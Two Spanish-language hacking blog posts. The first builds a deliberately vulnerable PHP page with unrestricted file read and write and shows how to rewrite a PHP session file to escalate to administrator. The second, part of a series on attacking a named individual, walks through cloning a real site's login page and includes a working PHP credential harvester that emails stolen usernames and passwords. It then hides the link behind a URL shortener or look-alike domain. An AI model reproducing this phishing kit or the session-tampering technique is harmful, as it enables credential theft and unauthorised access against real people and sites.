martes, 18 de diciembre de 2018

¿LFI en sesiones? Vamos a elevar privilegios

El otro día en el trabajo me pidieron que comprobara si era seguro añadir el directorio /var/lib/php5/sessions a la directiva open_basedir y como me pareció algo interesante pensé en escribir un poquito sobre esto.

Para saber si esto es seguro o no primero tenemos que tener claro que son estas dos cosas.

- El directorio /var/lib/php5/sessions es el directorio donde se guardan las sesiones de PHP.

- La directiva open_basedir indica en que directorios se podrán abrir ficheros con las funciones fopen(), include(), etc...

Normalmente esta directiva se usa para evitar ataques de tipo LFI, por lo que vamos a empezar a mirar por ahí a ver como podemos hackear.

Preparación del entorno

Vamos a empezar a preparar nuestro entorno, para ver que se podría hacer. Lo primero que vamos a necesitar es un panel de login sencillito 'login.php' (que nos permita crear sesiones).

  1. <?php
  2.         $user = $_POST['user'];
  3.         $password= $_POST['password'];
  4.         if($user == "usuario" && $password == "usuario"){
  5.                 session_start();
  6.                 $_SESSION["usuario"]=$user;
  7.                 $_SESSION["password"]=$password;
  8.                 $_SESSION["admin"]=0;
  9.                 header('Location: index.php');
  10.         }
  11. ?>
  12. <html>
  13. <head>
  14. <title>Login</title>
  15. </head>
  16. <body>
  17. <form action="login.php" method="POST">
  18. <p>Usuario:</p><input name="user">
  19. <p>Password:</p><input name="password">
  20. <button type="submit">Submit</button>
  21. </form>
  22. </body>
  23. </html>

Por otra parte tendremos la página vulnerable 'index.php', la cual tendrá dos vulnerabilidades diferentes, la primera nos permitirá leer ficheros y la segunda nos permitirá escribir en ficheros, además de esto tiene una parte de código que nos ayudará a identificar si somos administradores o no.

  1. <html>
  2. <head>
  3. <title>Inicio</title>
  4. </head>
  5. <body>
  6. <form action="index.php" method="GET">
  7. <p>URL: </p><input name="url">
  8. <p>Escribir[w]  leer[r]</p><input name="accion"></br>
  9. <textarea name="content" rows="4" cols="50">Introducir texto</textarea>
  10. <button type="submit">SUBMIT</button>
  11. </form>
  12. <?php
  13.         session_start();
  14.         if($_SESSION["admin"] == 1){
  15.                 echo '<h1>ADMINISTRADOR</h1>';
  16.         }
  17.         $accion = $_GET["accion"];
  18.         $pagina = $_GET["url"];
  19.         $content = $_GET["content"];
  20.         if ($accion == "r"){
  21.                 $file = fopen($pagina, "r");
  22.                 $content = fread($file, filesize($pagina));
  23.                 echo $content;
  24.                 fclose($file);
  25.         }else if($accion == "w"){
  26.                 $blacklist = array(".php", ".phtml", ".php3", ".php4" , ".html", "htaccess", "js");
  27.                 foreach ($blacklist as $item) {
  28.                         if(preg_match("/$item\$/i", $pagina)) {
  29.                                 echo '</h1>Extension de fichero no permitida</h1>';
  30.                                 exit;
  31.                         }
  32.                 }
  33.                 $file = fopen($pagina, "w");
  34.                 fwrite($file, $content);
  35.                 fclose($file);
  36.         }
  37. ?>
  38. </body>
  39. </html>

Ya que tenemos nuestro entorno preparado podemos empezar a hackear, así que lo primero que vamos a hacer es dirigirnos a 'login.php' y ahí vamos a introducir usuario y contraseña para que se nos genere un usuario  "usuario - usuario" en este caso.


Una vez que tenemos la sesión creada podemos acceder al sitio vulnerable 'index.php', aquí tenemos dos acciones disponibles, la primera es la de leer ficheros y la segunda es la de escribir ficheros, veamos que se podría hacer en cada uno de los casos.

Lectura de ficheros

En este caso, al contener el servidor de Apache la directiva open_basedir en un principio la explotación de esta vulnerabilidad, aunque sea posible, no es tan peligrosa como en otros casos, vemos que en caso de intentar leer ficheros que no esten dentro de la directiva como '/etc/passwd' no será posible y la página no nos mostrará nada.


Ahora intentemos leer el fichero de alguna sesión, un buen ejemplo sería la nuestra, las sesiones son ficheros con el formato sess_cookie, y están dentro del directorio que habíamos comentado /var/lib/php5/sessions, así que vamos a hacer la prueba con esto.


Aquí podríamos ver toda la información que tiene almacenada el servidor sobre nuestra sesión, en este caso como PoC hemos guardado usuario y contraseña, por lo que podríamos ver esta información sobre cualquier usuario que hubiera iniciado una sesión, si se guardara otra información sobre la sesión también podríamos verla sobre cualquier usuario.

Escritura de ficheros

Por otra parte también podemos escribir ficheros, sin embargo podemos ver que en el código hay una blacklist de extensiones, por lo que no podremos subir una shell (la blacklist de extensiones es muy vaga, seguramente falten extensiones, ya que esto es solo una prueba de concepto).

Además de esto, en la anterior imagen vemos que, en las sesiones guardaba un parámetro llamado "admin", lo que vamos a hacer ahora es modificar este valor de 0 a 1 escribiendo el fichero de nuestra sesión para que el servidor nos reconozca como un administrador y así elevar privilegios, además como las sesiones no tienen extensión esto no será detectado por la blacklist.


Como podemos ver con esto nos habríamos saltado la blacklist elevando privilegios y pudiendo acceder como administradores de la plataforma.

Yo he acabado por hoy, espero que os haya gustado la entrada.

Saluti.

cuidao con el deo poderoso 

sábado, 15 de diciembre de 2018

Hackeando a Manolo el Barbas [Parte 3] - Engañando a nuestra víctima




Comenzamos la tercera parte de la serie de Posts "Hackeando a Manolo el Barbas", si no habéis leído los otros anteriores aconsejo hacerlo antes de seguir con este.

  1. Obtención de información pública de la persona o Doxing.
  2. Buscando y adivinando la contraseña.
  3. Obtención de contraseña con engaños y saltando el 2FA.
  4. Robo de datos a través de Malware.  
El último día intentamos buscar la contraseña por Google y adivinarla, pero esto es posible que no salga como queremos y no demos con ella, así que tenemos que ir al siguiente paso, vamos a engañar a nuestra víctima para que introduzca sus datos y ahí poder quedarnos con ellos. Vamos a usar alguna página que sepamos que usa, como en este caso mushofutbol.com.




Lo primero que haremos es irnos a la contraseña y darle a inspeccionar elemento, ya que hay una cosita que hay que modificar antes de copiarla entera.



Buscamos el formulario y le añadimos un action="scam.php", ya que ese scam.php es un fichero que crearemos un poco más tarde, encargado de guardar usuario y contraseña de nuestra victima.



Una vez hecho esto haremos click derecho y le daremos a guardar como, y esto se encargará de copiar la página con todos sus estilos e imágenes en una carpeta.

En la misma carpeta donde tenemos el archivo html creamos un php con el siguiente codigo:

Código: PHP
  1. <?php
  2. $user = trim($_POST['el name del input del user']);
  3. $password = trim($_POST['el name del input de pass']);
  4. $correoreceptor = "aquí cámbialo y pon tu correo";
  5. $asunto = "Ha caido una nueva víctima";
  6. $mensaje = "Usuario: ".$user."  -  Contraseña: ".$password;
  7. mail($correoreceptor, $asunto, $mensaje);
  8. header('Location: Pagina real');
  9. ?>

Una vez hecho esto habría que buscar un servidor donde hostear todo esto para poder enviarle el link a nuestra víctima, vamos a hacer nosotros nuestra prueba con Manolo. Para que no sospeche por la URL que le enviemos podemos comprar un dominio parecido al de mushofutbol.com, en mi caso voy a usar un acortador de URLs, así será más facil que se lo crea.









Cuando Manolo pulse el Link que verá algo de está forma.



Ahora solo tocaría esperar a que Manolo se conectase y desear que introdujese sus datos, yo tuve un poco de suerte y recibi un correo como este.



Cabe destacar que la probabilidad de que una víctima caiga en un engaño de este tipo depende mucho de como sea la mentira que hemos creado, en este caso sería más dificil que la víctima introdujera sus datos, en un futuro Post haremos algo más complejo y más interesante.

Saluti

Ci, es una copia de algo que ise tiempo, pero lo tenia que postear pa ceguir con cosa interesante